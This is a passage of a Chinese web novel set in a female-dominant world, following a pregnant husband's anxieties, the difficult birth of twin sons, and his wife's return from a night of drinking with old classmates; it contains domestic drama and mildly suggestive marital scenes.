“等我回来再同你说,好不好?”她松开他,“我要走了。” 说着,她像是意识到自己也不会早早回来,“在家好好吃饭,若我回来晚了,不用等我,夜里也不用等我。” 说完,她便起身离开。 猝然离开妻主怀抱的李持安微微睁大眼睛,气得把案上的眉笔丢在地上。 那胭脂也被他的衣袖一同挥在地上散开。 “公子”淞朱绕过屏风,微微愣了愣。 坐在那的李持安自然知道自己胡闹,没理由也站不住道理。 他轻轻喘着气,扶着自己的肚子,蓦然发觉自己的身子变得越发沉重,甚至连站起来也要人扶着。 他盯着铜镜里的自己,不再纤细,也不再轻盈,面容也变了一点。 他突然觉得委屈,费力地起身连连后退,睫毛轻轻颤抖着,眼眶很快红了起来,无法制止的胡思乱想让他彻底无法冷静下来。 明明是敞亮的屋子,却让他几乎喘不上气来,使不上劲的手匆匆扒住桌角。 他低眸看着地上的狼藉,还有自己隆起的肚腹,漆黑的眼眸呆愣愣的,还有些空洞。 “公子!” 淞朱连忙走过来,示意跟旁边的侍从处理掉地上的狼藉,连忙扶着公子坐在软榻上。 “公子可是哪里不舒服?” 他惊疑地看着四周,紧绷的身子慢慢放松下来,“没什么。” “刚刚女君是说什么了?公子不高兴什么?” “只是我胡闹罢了。”他微微蹙眉,被袖子遮掩的手慢慢蜷缩着,随即握紧,指骨泛白。 淞朱皱眉,觉得公子跟那些后宅的正君一样开始慢慢出现问题,“公子不若出去走走,去庙里逛逛,整日待在院子里对孩子也不好。” “明日,明日再说。”他摇头,根本不想出去。 怕出去便出现意外。 这个时候跌倒,跟拿掉腹中的孩子有什么区别,跟要他命有什么区别。 …… 午睡时。 他躺在床榻上,披散下来的头发乌黑亮丽,越发白皙的面庞透着温婉柔和。 他突然惊醒过来,慢慢攥紧锦衾,撑着手慢慢坐起来,眉目惊慌。 又做噩梦了。 为什么又做噩梦了。 床榻上,他慢慢缓过来,费力地撑着手坐起来。 浓密微卷的睫毛垂下来在眼下落出阴影,他身上的力气被抽空,浑身无力地坐在那,身上的衣裳也散开了许多。 隐隐约约可以看见小巧浑圆的腹部随着胸膛的起伏微微颤着,白得勾人的肌肤被压出了红印子。 浑身都钝化下来,眉眼柔和温顺地不像话,没有任何锋利和攻击性。 他不禁想到,是她厌倦了自己,觉得他身子笨重了身材变了,索性多在外面待一会儿吗? 妻主之前不这样的,之前还会陪他一整天。 之前他在宴会上听哪个正夫说,妻主在外不归,就是出了问题。 坐在床榻上的人微微咬唇,乌发凌乱,浑身都透着无所适从的慌张和惶恐。 一时间他竟然无法正常呼吸。 自从月份越来越大,他的脑子似乎越发迟钝下来,身子也越发笨重。 他掀开帷幔,也没有唤人,小心翼翼地下了榻。 第77章 第77章他的后背出了汗,眼…… 他的后背出了汗,眼睛里湿漉漉的。 李持安随意扯过外袍裹在身上,便坐在一处歇息,格外沉默。 柔软的绸布裹着男人的身体,他面上还有些苍白,渐渐红润起来。 屋内都被摆上的毛毯,尖锐的角端都被裹上厚厚的绸布,又覆上一层毛毯。 侍从都被遣散在屋外,窗户也被紧紧关着,只留有罩着纱的蜡烛染燃着,很是安静。 香薰顺着角落,将屋内四处沾染上香味,他很快平息下来,青丝散乱在身后和身前,像是一条条黑色的细蛇一般将他的上半身遮掩住。柔和温顺的面容此刻白得艳丽,漆黑的眼眸更似桃花一般漂亮。 他咽了咽口中的唾液,美眸中透着惶恐和害怕,想要被安抚,想要被拥抱。 可她不在府上,也不会提早回来,到底在忙什么呢? 他想到,他似乎只能攀附她,没了她,他在京都甚至活不下去。 甚至他已经被挂上属于她的标志,出去得到的尊重和敬畏也是因为他是她的夫郎,是她的正君。 腹部突然被肚子里的孩子踢了踢,他微微蹙眉,手指慢慢攥紧衣裳。 随即,他拢了拢身上的外衫,长发也随意披散着,整理好后才走出屋内。 他也只戴着耳坠,其余的什么也没有佩戴。 正往这边过来的淞朱见公子出来,连忙走了过去,“公子哪里不舒服吗?” …… “你不去吗?这么多官员参加夜宴,你也得去去吧。 ” “不去,我得早些回去,这几日早出晚归,家里的内子已经要闹了。”云竖摇头,“我得回去。” 薛棋有些惊疑,“我瞧你家那位不是那般不通情达理的人啊?瞧着挺贤惠的。” “话说,我听说你府上也没纳侍,是他不让你纳吗?”她接着,开始问起八卦来,“你瞧着也不像惧内的人啊,你们两个成婚前也没多熟,那位还是贵卿。” “府上有一位就够了,娶到府上谁还管婚前熟不熟。” 再多一个出来,怕是府上得天天闹。 云竖突然笑了笑,盯着她,“你难道要一直让你那位正君待在祖宅,不接过来吗?” 薛棋听到她的话,瞬间没了继续说下去的兴趣,“我可不想接过来天天吵架。” “你回去吧,我会跟她们说的。” 云竖没继续说,只是道谢过后就出了门,朝宫门口走去。 这个点刚刚过晚饭的时辰,大多数官员在宫内待了下来。 街道上,经过首饰铺,云竖下了马车。 她走进去,很快买到顺眼的镯子和簪子,付完银子后正欲上马车,就听到身后有人出声。 “云学士。” 那是个男人的声音。 她像是没有听到一样,也没有回头,入了马车。 走出来的白蔓看着马车离开,紧紧咬着牙,颇为生气。 经过的路人瞧那门口的人看了一眼,目光打量着他的脸,紧接着看向他的身子,很快收回目光离开。 府上。 马车停了下来。 后院的宅院里。 李持安躲在屋子里抹泪,眉眼布满了怨念,哭自己如今除了待在这,便没其他地方可去,像一团纸一样任人揉捏,如今毫无脾气。 他砸着瓷瓶听响,眉眼冷戾下来,边擦着自己的眼泪。 屋外传来了动静,他轻轻抿唇,抬眸往向窗户,想着是什么动静。 他托着自己的肚子,慢慢走到窗户旁边,漂亮的眼睛看向长廊处,不由得紧张起来。 妻主回来了吗? 听到门被打开的声音,他很快躲在了屏风后面。 “妻主还回来做什么?不是说夜里也不回来了吗?” 那声音从屏风那传来,听着显然生气了。 云竖看着地上的狼藉,微微挑眉,没想到发起脾气来是躲在屋里摔东西。 随着女人靠近,把他堵在那,他的身子不由自主地软了下来,双手抵在两人之间,漂亮的眼眸带着惊疑和不安,白净细腻的脸上还留有绯红,抬起的手露出一截手腕。 被女人抱住,他挣扎了一下,可那手力气大得很,轻而易举地控制住他的身体,死死箍着他。 他眼睛一下红了,脸上浮现既委屈又可怜的神情,眼泪很快聚满了眼眶,薄薄的眼皮几乎要盛不住,“妻主是嫌弃我变了模样吗?不如以往好看”嫌弃他如今是个花瓶,只能摆在屋里,腻了嫌了,才不肯早点回来。 他呼吸有些凌乱,眼睛睁得很大,神情带着软弱无助,被握住的手也轻轻颤抖着。 他说得很可怜,又含含糊糊的,也知道自己在胡搅蛮缠,说完就立马埋在她的脖颈处,怕看到妻主厌烦的神情。 男人的肩膀瑟缩着,低低的呜咽声在她耳边出现,仿佛受了天大的委屈。 怀中的软香绕在鼻尖钻进喉咙里,潮湿缓慢的呼气缠上她的脖颈。 云竖显然有些茫然,也不知道回来了他为何一副受气的模样。 她把他拉过来,坐到椅子上,让他坐到自己的身上。 她这才发觉,他有些不对劲。 云竖上辈子就没有接触过什么孕妇,自然不知道这个期间会怎么样。现在也不会有人跟她说,有什么要注意。 如今他这副样子,显然心思敏感起来,开始胡思乱想。 她从怀中取出镯子,也不管怀中的人还埋在自己的肩膀处,只握住他的手腕,把镯子套了进去。 他抽抽噎噎地,抬眸看着她在做什么,缩了缩手,指尖落在她的手臂上。 “整日里到底在想什么?”云竖有些无奈,“那我们就先聊聊早上。” 说着,她停顿了一下,“对我那22房侍夫如此念念不忘吗?” 见他不说话,云竖还是把他微微扯出来一点,“对这个如此芥蒂吗?” “谁都会如此,我有芥蒂不是很正常吗?我的心又没有那般宽厚,像妻主那般装得下那么多人。”他微微偏脸,恼怒道。 “那怎么办?”云竖问道,“那侍夫也没了,我要做什么呢?” 他抿唇,“我又没让妻主怎么办?心有芥蒂也不成吗?我又没闹,又没让妻主对着神佛起誓忏悔。” “我只是想要妻主陪我,多陪我而已,明明我都怀孕了,妻主本就该多陪着我。”他意识到自己说话有些问题,转而示弱讨好道。 “只是想要这个只要多陪陪你”云竖询问道。 他的手撑着妻主的肩膀上,弯着手臂,青丝散在肩膀上,低眸瞧着那手镯,睫毛上还挂着泪珠,“妻主如今忙碌,这点时间怕是也没有,倒去有时间去买这个来糊弄我。” 难不成他还稀罕这个不成 “再过两日,我便带你出去走走,好不好?” 她如今的确没有时间,过两日是休沐,再忙的事情也可以停下来。 “是心里不舒服吗?”她低头亲了亲他,“哪里不舒服怎么就躲在屋里哭起来了?不是一贯不喜欢让人看到自己哭吗?听说早上还发了脾气。” 可怜的呜咽从湿软的唇中溢散出来。 他没力气推了推她,把隆起的肚腹往她怀里送。 过了许久,他浑身抖着,眼眸茫然失神,被人抱着也只是乖巧地坐在她的腿上,埋在她的怀里。 越发敏感的身子几乎不受控制的颤抖失控,全然脱离了掌控。 他的身子紧绷着,只羞耻的咬唇,将隆起的腹部往她手心送去讨好她。 让她知道自己还怀着她的孩子,让她多怜惜自己。 他的呼气轻轻的,带着潮湿和温软,像是春水一般。 柔若无骨的手臂攀上她的手臂,目光依赖渴望,像是缺水了许久。 盯着他这副模样,云竖顿了顿,把怀中发抖的夫郎抱起来放在床榻上,慢慢解开他的衣裳。 李持安到底是羞耻的,虽然想着这个事情,可真做到这里,浑身都想躲着,眼睛里也湿漉漉的。 如今还是大白日,怎么可以躲在屋里做这种事情,况且他还怀着孩子。 他咬着唇,不敢发出声音来,可偏偏身子敏感得厉害,像是水做得一般。 身子骤然紧绷起来,他轻轻低呼着,直闹着孩子怎么办,心里害怕起来,又不敢乱动。 一个时辰后。 他被紧紧裹着衣裳赖在她的怀里,垂下来的双腿轻轻抖着,时不时颤着。 “妻主可想好名字了吗?”他声音闷闷地,带着羞耻。 “云谁之思,美孟姜矣。女孩便叫云孟,男孩便叫云姜。”她声音有些低,像是不想吓到怀中的人一样。 李持安 轻轻应下来,蹭了蹭她的脖颈,嗫嚅道,“万一是个男孩呢?” “我也喜欢。”她说道。 “持安,不要多想。” 本就是她费劲心思把人困在自己的宅院里,自己的屋内,倒是让他担忧害怕起来。 “今日下午我做噩梦了,你不在,我害怕。梦里我被锁在屋子里,也怀着孕,没人管我。”他小声道,“我不想睡醒了找不到你。” 怀孕了本就容易疲乏,喜欢睡觉。 接着,他顿了顿,“我脾气不好,也没有朋友,我只有淞朱陪着我说话。” 那抓来养着的猫自从能自己养活自己后,整日里不见身影,十天半个月都看不到一次。 他压低声音,瞧着可怜委屈,漂亮的眼眸直勾勾地盯着她,“淞朱说去庙里散散步,可我害怕出意外。” 云竖哪里不知道他什么意思呢,不过是要拐弯抹角地叫她陪他。 “再等几日。”她只能如此说。 他安静下来,屋内也寂静下来。 夜里黑了下来,飘忽狂风一霎间,雨声越来越大。 云竖仔细裹好他身上的衣裳,嘱咐道,“吃点东西,便去榻上待着等我。” 第78章 第78章生产 三个月后,忽而雷声阵阵,狂风暴雨,整个院子里全然被打湿,豆大的雨打在砖上,打在树上。 窗户被吹得颤动,大量的雨斜飘进来,纱幔在房中飘起来,莫名有些混乱。 屋里的人惊醒过来,额上发汗,碎发贴在皮肤上,肩膀微微颤着。 他低低呜咽着,费力地撑手坐起来,柔软的锦衾顺着肩膀滑下去。 那屋门被打开,淞朱连忙进来把窗户关好,又将那纱幔系上。 “公子又做噩梦了?”淞朱走到公子旁边,擦着公子额上的汗,“奴去叫女君过来,先下正在书房里。” 他睡不下去了,低喘道,“先扶我起来。” 他背后冒汗,浑身不舒服,被伺候着脱去里衣,露出隆起来的肚腹。 那肚子比一般孕夫的要大,一只手几乎要托不住把愈发浑圆的肚腹。 男人模样乖顺,皮肤白得腻人,那张脸上透着柔媚和极致的温顺,此刻却有些惊慌失措。 腹中孩儿突然踢着,男人微微蹙眉,脸色骤然苍白起来,肚腹一阵阵收缩,带着细密的疼痛,轻轻地低呼一声。 淞朱瞧着,低声道,“如今还不让公子省心。” 衣裳再次裹上男人的身体,他眉眼湿润,浑身脱去一半的力气。 他被扶到半窗旁边,身上裹着裘衣,旁边的侍从将热茶和点心放在正君旁边。 屏风上隐隐约约印着男人的身影,夹在那花中,青丝微散。 听着那惊雷,他心中不安,下意识抚摸那肚腹,微微蹙眉。 大夫说肚子里怀着两个孩子,比一般孕夫要大,也要更艰难。 他微微攥紧衣裳,漆黑的眼眸中带着惶恐惊惧,脑子里慢慢浮现其他的想法。 万一万一难产怎么办? 他的身体微微颤着,睫毛颤得厉害,红润饱满的唇紧紧抿着,白皙的面容慢慢浮上害怕。 还有一个月多,想来肚子不会再大了。 屋外终于传来了动静。 “女君。”那些侍从唤着,声音越来越近。 屋门被推开,女人身上还带着雨水,携带着外面的凉意。 她脱下外袍,走到男人身边,轻而易举地把人抱在怀里。 她帮他托着肚子,轻声细语地哄着他。 屋内昏暗,那些侍从把蜡烛点起来,轻纱的下摆也连带着微微晃动,婀娜摇曳,眼前雾蒙蒙的。 他胆怯地盯着她,清透莹润的眼眸可怜巴巴,眼尾带着艳丽的红,面容带着淡淡的愁意,再加上他那张漂亮白皙的脸蛋。 他紧紧抱着她的胳膊,抬眼看向眼前的人,泪眼涟涟,朦胧含情的眼睛暴露在她的眼下。 “妻主怎么才来。”他抱怨道。 她安抚性地亲吻着他的嘴角,怀中的人徒然害羞起来,像是冒着雾气一般,仰头轻抿着唇,湿润的眼眸格外期盼她能继续亲吻下去。 可他只能被动地仰头着,身子笨重地无法挪动,无法往上抬,眼尾含着潮湿的红晕,格外委屈,“不要亲脸…… 他眨了眨眼睛,声音轻轻的。 随着云竖低下头,他张了张唇,主动贴近她的唇,小心翼翼地舔舐着,睫毛颤得厉害。 他亲了一会儿,便累得喘气,眉眼透着情欲。 云竖瞧着,便知道他又敏感起来。 她低头慢慢地亲着他,慢慢地抚摸他的脊背,和他浑圆隆起的肚腹。 “不要摸了。”他说道。 她抬手轻轻摩挲着他的唇角,他颤抖着,被轻轻摩挲的唇很快被抹得艳丽。 李持安不自觉咽了咽口水,喉结滑动着,唇瓣微微张开,露出裹挟着液体的舌尖。 他轻轻咬着她的手指,舌尖不受控制滑过入侵者,她的手指很快收了回去。 这么一打岔,李持安满脑子里都是妻主,眸中依恋地盯着她,哪里还有其他想法。 “这几日,父亲就会到,你也会安心一点。”云竖低眸看着他的肚子,没想到里面居然有两个孩子。 两个孩子。 他本就初次怀孕,到时候生产定然要被折磨一番。 “嗯……”他埋在她的手臂里,听着外面的雷声,罕见地平静下来。 云竖慢慢抚摸着他的青丝,浅色的眼眸紧紧地黏在他身上,低头嗅着他身上的气味。 “我不好看了吗?”他声音闷闷地,“现在一点也不好看。” 他都不敢出门,不敢让人看到自己笨拙没有礼仪的模样,只敢在院子里走走。 连走路也要人扶着,肚子也高高隆起,遮也遮不住,裸露在别人的眼睛里。 那些人一定会看向他的肚子。 “我很喜欢。”她说道,“我不是一样可以把你抱在怀里吗?这对我没有什么影响,你的变化,我一样很喜欢,再过一个月,再过一个月就好了,这是常态,所有人都知道这是必然的事情,没有人会对此苛责。” 她怕他想岔了,压低声音,“那我们就生这一次好不好?你什么模样我都喜欢。” 听到只生这一次,李持安愣了一下,犹豫片刻,“只要这两个孩子吗?” 他只生这一次吗? 府上只有他一个正君。 他轻轻抿唇,还是没说话,觉得妻主真是在哄他。 云竖轻轻抚摸着他的腹部,“还怕在我面前丢脸吗?” 在她面前哭过闹过,还有什么模样她没有见过。 他仰起头露出那一截白皙细腻的肌肤,有些微恼,美眸中透着羞怯,轻轻吐着气,“都怪妻主。” 那声音轻轻地,微微上扬,像一粒雪子一样,听着人心怪痒的。 …… 一个月后的初冬里,男人生下两个男孩。 从早上到晚上,险些难产,生下孩子后便昏睡过去。 屋内的水换了一盆又一盆,女人坐在室内低垂着头擦着他身上的血水,瞳孔紧紧缩着。 接着,婴儿的哭声响起来,一声比一声大,连带着另外一个婴儿也跟着哭起来。 淞朱连忙让奶夫哄着,问是不是饿了。 云父这时进来,将始终哭着的孩子抱起来哄着。 他抬眸看着坐在床边不管孩子的子漾,听到婴儿的哭声,又低头匆匆哄着怀中的婴儿,“快喂点奶。” 过了一会儿,云竖擦拭完,检查完他的身子,这才盖上锦衾紧紧遮着他的身子。 “把孩子抱去偏房带着,让人候在那。”云竖低眸看着那安静下来的两个孩子,嗓音很轻,“父亲先去休息吧。” 这一连折腾到半夜,屋内的蜡烛连夜亮着。 屋内的侍从都退了下去。 云竖坐在床边,俯身亲着昏睡过去的人,指腹轻轻揉着他的发丝,完全不敢碰他,怕碰了,哪处便疼痛起来。 她脑子里想着看到的血,顺着大腿流出来…… 她呼吸有些沉重,甚至缓慢,心脏剧烈震着,震着半边身子都发麻无力。 屋内一半昏暗,十 分寂静。 偏房处。 淞朱看着睡过去的两个孩子,很快松了一口气。 偏房早早备好这些东西,喂奶的乳夫也在这几日住了进来。 他合上身前的衣裳,没有去擦拭那溢出来的液体,起身去看摇篮里的孩子。 淞朱压低声音,“这一晚上,可别睡沉了过去。” 他点点头,“我知道的。” 随着淞朱去吩咐其他人加点碳火过来,又让人备好明日早上滋补的汤羹。 借着昏黄的烛光,乳夫瞧着摇篮里的两个孩子。 居然都是男孩。 那位正君怀着两个孩子,本应该是个有福的,生下来却都是男孩。 在这府上,看中的向来应该是女孩才是。 他细细地瞧着睡过去的婴儿,想到不久前在屋内看到的情景。 安舒轻轻抿唇,慢慢拢紧身前的衣裳,想要缓和那的酸胀,也比自己好。 生在这个宅院里,想来也是被娇养着长大的。 他的孩子还在被骂赔钱货。 …… 早上。 醒来的李持安便闹着要孩子,非得抱着孩子才安静下来。 他解开身前的衣裳,露出自己的锁骨,想要挤出奶水来,却发现只是堵在那。 “已经被喂过了。”云竖说道。 他贴在孩子的脸上,殷殷切切地问,“是女孩还是男孩?” “都是男孩。”云竖说道。 都是男孩 李持安不相信,怎么可能呢? 怎么可能都是男孩呢? 他想要去看孩子的性别,却被妻主按在床榻上,不让他动来动去。 “不要乱动,男孩也好,没有非得是女孩。” 他沉默下来,微微抱紧怀中的孩子,低眸看着另外一个正睡着孩子。 怀中的婴儿睁着眼睛,摇摇晃晃地伏在他怀里,咬着自己父亲的头发。 他的眼睛很大,既黑又明亮。 云竖问他,“饿了吗?” 李持安轻轻点头,垂眸有些失落。 孩子还未长开,皱巴巴的,虽然有些丑却也可以接受。 他还是不相信,不相信他生的都是两个男孩。 若是这次生产真的亏损了身子,他没法生孩子了,那怎么办? 他生不出女孩,那怎么办? 他想着,眼泪就嗒嗒地落下来,直接落在了裹着孩子的衣服上。 云竖盯着,俯身擦着他的眼泪,“你在为这个哭泣为什么不看看我呢?你不看看我吗?不怕我不高兴吗?我不在乎什么男孩女孩,我只是想要你而已,若我真在意这个,后宅里早早就有了孩子。” 她声音很低,“我一个晚上也没睡,就盯着你,怕你出意外,而你醒过来却满心思在孩子身上,现在还在为什么男孩女孩哭泣,是你在意还是我在意这个还是说你只在意孩子” 他愣了愣,声音有些慌张,“我想看孩子不是很正常吗?”想要知道孩子性别不是也很正常吗? 他微微动着,拉扯着身下的伤口,脸上骤然苍白起来。 云竖盯着,让侍从把孩子抱下去。 “先吃点东西吧。”她说道,“大夫说,你得待在屋子里半个月。” 第79章 第79章酒楼 用完早食后,他便倚靠在榻上歇息。 床榻上堆着被褥,靠在他的身后,几乎把他围着。 他下意识抚摸自己的腹部,那里已经空荡荡的了,不再沉坠,不再浑圆。 孩子已经被抱在了屋内,摇篮在不远处轻轻晃着,上面的羽毛被风吹得轻轻晃着。 淞朱在旁边守着,时不时去查看孩子需不需要换衣裳,需不需要进食。 两个孩子的眼睛跟李持安一模一样,漆黑的,漂亮莹润。 屏风遮挡了内室。 云竖解开他身前的衣裳,擦拭着那少量溢出来的乳液,指腹轻轻摩挲着附近。 “等会儿喂一下孩子。”云竖说道。 他有些羞赫,声音轻轻地,“父亲呢?” “等会儿会过来,如今还在歇息。” 他沉默了一下,倚靠在那一动不动,声音有些委屈,“好疼。” 她盯着他这副苍白寡淡的模样,将他散乱的青丝拨弄到一旁,俯身凑近他,嗓音有些哑,“很快就会不疼了,明日就好了。” 临近午时,云父过来。 云竖起身出去,在榻上的李持安显然不安起来。 他害怕云父说什么,说他只生了两个男孩,却没有女孩。 怕他劝自己给妻主纳侍。 纳侍是不可能的,他才不要像其他后宅那般整日里吃酸捻醋,愤愤不堪。 整日里防着这防着那,为何就偏偏要因为子嗣问题,让他难堪。 他还年轻,难不成今后就怀不了了吗? 而云父只进来说了几句话,便让他好好歇息,不要胡思乱想。 “这一个月里可不要着凉,也不要吹风,孩子自然有乳夫看着,莫要过于紧张。” 李持安低垂着眸,只温顺答应下来。 床榻上,他攥紧衣袖,想着摇篮里的孩子,想着自己为何偏偏这个时候如此倒霉。 下午。 外面不知何时下了雪,越下越大,像棉花的雪簌簌地下着,地面很快被铺平,青绿的竹子被白雪覆盖,四处都看不到那乌黑的泥土。 云竖顺着他意推开窗户,雪粒瞬间被风飘了进来。她拨弄开肩膀和手臂上的雪,枝叶的香气渗透衣衫,很快又关上。 轻轻的纱幔慢慢飘着,珠串的帘子发出清脆的声音。 “等好了一点再出去看。” 见妻主走过来,他伸手取过妻主手臂上的雪粒,那雪粒很快融化下来。 他浑身都倚靠在身后堆起来的被褥上,头发也散乱着,身上只穿着白色的里衣,衣襟微微敞着,眉眼温软无害。 “妻主不需要去处理公务吗?”他轻轻拽住她的衣袖。 “请假了。”她的回答有些干巴巴地,“我得陪着你。” 摇篮里的孩子骤然哭泣起来,紧接着,带起了另外一个孩子的哭声。 她走过去看,先是查看是不是湿了,又把其中一个抱起来。 明明不久前才喝过奶,怎么可能又饿了呢? “我想抱抱孩子。”床榻上的人盯着妻主怀中的孩子,目光带着殷切。 那孩子被抱起来,就哭声就歇了下去。 云竖见着,走到床榻边上把孩子放在他的怀里。 她又把另外一个还在抽抽噎噎的孩子抱起来,擦着他的眼泪。 李持安先是低头轻轻贴了贴孩子的脸,眼眸湿漉漉的,抬眸看向妻主,“妻主妻主可想好了两个孩子的名字?” 他怀里是先出生的,哭过之后精神很好,小手攥着他的头发,盯着男人,黑亮的眼睛眨也不眨一下。 “云姜,云珉。”她缓缓道,“昨日已经入了族谱。” 李持安没再问为什么,怔怔地看着她这副犹如白玉却生艳的模样,披散着头发,领口又松散,透着冻腻的肤色,看着心直痒。 外面下着雪,她的发丝上还残留着雪粒,未来得及弄下来,便急急去哄孩子,浅色的眼睛却又如烛火一般轻微摇曳着。 妻主只穿着薄柿色的衣袍,身上毫无配饰,发丝也是细带粗粗地束着。 他垂下眸,想着还有多久才好,多久才能自由活动,多久才能黏在妻主怀里。 随着天色昏暗,带着一丝深青色作底色,月亮红黄湿晕。 他闹着要从床上起来,被妻主抱着放在月亮窗旁边,旁边的竹子轻轻摇晃,时不时发出细碎的声音。 天已然黑了下来,外面的白雪已经看不清楚。 灯笼照亮着四角,晕黄中带着点鸦青色。 云竖的脸被黑影笼罩,隐隐约约地,又能看清楚她的脸。 五官稠艳,皮肤润白,眉眼温和,衣着又松松散散地很是惑人,如同皦玉一般。 李持安瞧着,双手抱紧她的脖颈,眼睛黏糊糊地盯在她的身上。 外面寂静一片,偶尔几个侍从走过,也是很快离开,生怕弄出点声音。 外面的雪下得安静,轻飘飘地落在地上,落在砖上 。 他把脸埋在她的脖颈处,听着自己的心脏的跳动声,想着再也找不出第二个人来,如此顺他心意,恨不得任她索取。 云竖愣了一下,只是裹好他身上的衣裳,紧接着把人抱了进去。 …… 两个月后,云父回了扬州。 宫中。 “云竖。” “你回来了?”她有些诧异。 “也该回来了。”昭鹤缓步走过来,“等会儿有时间吗?” 她接着又说,“书院里的一些人都会来,有些人很想见你。” 云竖旁边的官员听了,“那云太傅真要去了,同窗之谊,怎么可以错过呢。” 云竖只好答应下来。 随着昭鹤离开,云竖站在那,想着魏野也该回来了。 去讲学殿的途中,她看着太医急匆匆地往另外一处赶,便大抵知道是什么回事。 回到讲学殿,她盯着昏昏欲睡的殿下,“昨夜又跑到哪里去了?可是又出宫了?” “没。”她抬起头回道,碎发都翘了起来,面容透着委屈,“我已经在这里待上一个早上了,他们不让我出去玩。” “那些人布置的作业也越来越多了,我昨夜也很晚才睡。” 云竖沉默了一下,“那今日就不抽背了。” 殷宁还小,今日也不需要太过苛责她。 大抵是两个时辰的时间,云竖早早把她放走,便离开了讲学殿。 宫外。 昭鹤已然在等着她。 “你什么时候回来的?”云竖问她。 “已经回来有两三日了,我进了礼部,魏野也回来了。” 马车上,云竖微微拢起自己的袖子,掀开帘子看向外面,“你不是娶夫了吗?怎么还不着家” 昭鹤听着笑了笑,“家中内子贤惠,自然不会在意。听说魏野也要成婚了,她家中长辈正在为她选夫郎。” “若你担忧,待会儿让人回府上送个信,晚一些再回去。” 她把云竖的话堵在喉咙里,“孟昂也来了,回来省亲。” “好吧,我又没说不去。”云竖放下帘子,突然笑了笑,含着光华内敛的书卷气。 昭鹤盯着,“自从你成婚后,便越发忙碌,也找不到时间。” 马车停了下来,在一座酒楼门口。 云竖从马车上下来,进了酒楼,掀开包厢的帘子,便瞧见许多眼熟的人。 “诶,这就是云竖,云太傅。”苏洄拍了拍裴辛的肩膀,“之前差点你们就成亲戚了。” 坐在那的裴辛站起来,直勾勾地盯着云竖,脑子里不断想着刚刚苏洄的话。 屋内只有女人,还有酒。 云竖刚进来,那门就被关紧。 孟昂坐在窗户旁边,见云竖来起身走过去,想要把她拉入酒席间。 “喝酒吧,这都多久没见了。” 云竖想着,这回回去肯定要被抱怨。 外面的天慢慢黑下来,云竖的面容也慢慢红了起来。 孟昂坐到她身边,小心地问,“你家妹妹成婚了吗?” 屋内烛火摇曳着,映在那多情的屏风上,众人的身影在屏风处隐隐约约地出现。 又是耳熟的话,云竖抬手微微推开她,微微低眉,“你想做什么?难不成还要我替谁说媒不成往后若是怨侣,这该怪谁?你不若去找昭鹤。” 她撑着手揉了揉眉心,青丝散在身前,润白的面孔隐匿昏黄的角落里。 她见这些人颇有要喝一夜,就地宿在这里的倾向,也没说话。 只是趁她们喝着,悄然起身离开。 她出了门,还未下楼,就有几个男人缠了过来。 他们身上的胭脂味很浓,云竖转而清醒了一点。 她推开他们,眼眸里透着冷意,也没说什么过分的话,很快就离开了酒楼。 马车早早再外面候着。 “如今什么时辰了?” “已是丑时。” 凌晨两点了。 云竖倚靠在后面的靠枕上,没说什么,只是阖眼歇息。 马车慢慢走动起来,远离酒楼。 街道上已然黑了下来。 只是纸灯微微亮着。 府上依旧亮着蜡烛。 等云竖回了府,就有侍从去了后院告知正君。 “女君,正君还在屋里等您。” 穿过长廊,云竖走得很慢。 她没有换衣裳,身上还带着酒气。 她站在长廊处,看向屋门微微打开,里面依旧亮着。 走到门口,她推门走了进去。 “去把醒酒汤端来。”屏风后的男人轻声说道。 “我还以为妻主不回来了,干脆睡在外面了。”男人披着外袍从屏风后出来,披散着长发,眸中透着恼怒。 他身形纤细,那细细的腰在外袍里若隐若现,一缕青丝隐匿在衣襟里。 等人走到身前,云竖握住他的手腕,埋在他的脖颈处,轻轻吐着气,呼吸也有些凌乱。 “不是说了让你先睡吗?”她声音低低地,双手环住他的腰身,轻轻揉着他的腰。 “我怕明日府上就多了个侍夫,我哪里睡得着。”男人很快软了身子,可又嫌弃她身上的酒味,只小声催促她,“妻主快去沐浴。” 第80章 第80章缠人 夜里。 男人将外袍脱下来,把沐浴后的妻主拉到床榻上,跪坐在她的腿上,撑在她的肩膀上细细盯着她。 “妻主这是喝了多少酒。”他有些埋怨。 女人似乎有些醉了,眼眸内很是安静,任由身上的人动来动去。 他伏在她的怀里,亲着她的嘴角,被压在床榻上被紧紧抱着,脸上渐渐露出不满。 李持安也知道如今晚了,妻主还要歇息,定然不会发生什么。 自从生下孩子后,他便没有同过房,如今胸前还酸胀着,身体也愈发敏感。 他轻轻挣扎着,却没有什么效果。 他想着,若怀上孩子,想来也不过怀胎十月,说不定就生下了一个女郎。 都说生过一次,下一次便会轻松很多。 前几日他去庙里走了一趟,明明说他会有女郎的。 帷幔内黑漆漆的,李持安的脑子里想了一通,却被紧紧箍着腰动弹不得。 明明是妻主回来晚了,在外面宿酒,却依旧颇有理的躺在床上,他都没地方发脾气。 李持安微微鼓着脸,想着偏房处的两个孩子,会不会醒来哭闹。 他埋在她的锁骨处,轻轻蹭了蹭,闻着她身上残留的酒味,很快睡了过去。 锦衾盖着男人身上,没有露出一点肌肤,他枕在她的肩膀上,几乎一半身子都在云竖身上。 翌日。 云竖没有上朝。 同样起得也很晚。 李持安醒来时,妻主还在睡。 他没有起来,只是伏在妻主身上,想着她什么时候醒过来。 真是罕见。 之前明明都起得那么早,什么时候走的,他也不知道。 他脑子里胡思乱想着,很快想到自己还只有两个月的两个孩子。 他应该起身去喂他们,而不是赖在床上。 他想着,还是从床榻上起来,小心地越过妻主,扯过外袍裹上,从小门走到了偏房。 他推开门,就见着那乳夫正喂着孩子。 在旁边的淞朱瞧见公子来,连忙走了过去。 “公子怎么来了?” 李持安轻轻抿唇,见那两个孩子正在吃奶,莫名地不舒服起来。 “哭了吗?”他轻轻问道。 乳夫很有眼见地把孩子放在了侍从的手里,自己退了下去。 淞朱摇了摇头,“醒来也没有哭。” 李持安接过一个孩子,熟稔地解开身前的衣裳,扶了扶孩子的后背,以免他喝得费力。 两个孩子已然长开了许多,眉眼都像他。 李持安看着摇篮里伸手玩着上方羽毛的孩子,又低眸盯着怀中正在喝奶的弟弟。 那处已经被咬得殷红起来,白日里时常不舒服,甚至会打湿身前的小衣。 他不能时时喂养孩子,毕竟府上的事情他还要处理,导致胸腔越发难受。 可妻主白日里在宫中,回来时又不知道他的难处,不会轻易碰他。 过了一会儿,那孩子不喝了,只是咬着他的衣裳,眼睛睁得大大的。 李持安轻轻拍着孩子的后背,低头亲了亲他的额头。 正待他喂养另外一个孩子时,妻主走了进来。 李持安瞧着,微微抿唇,想要躲开妻主的视线。 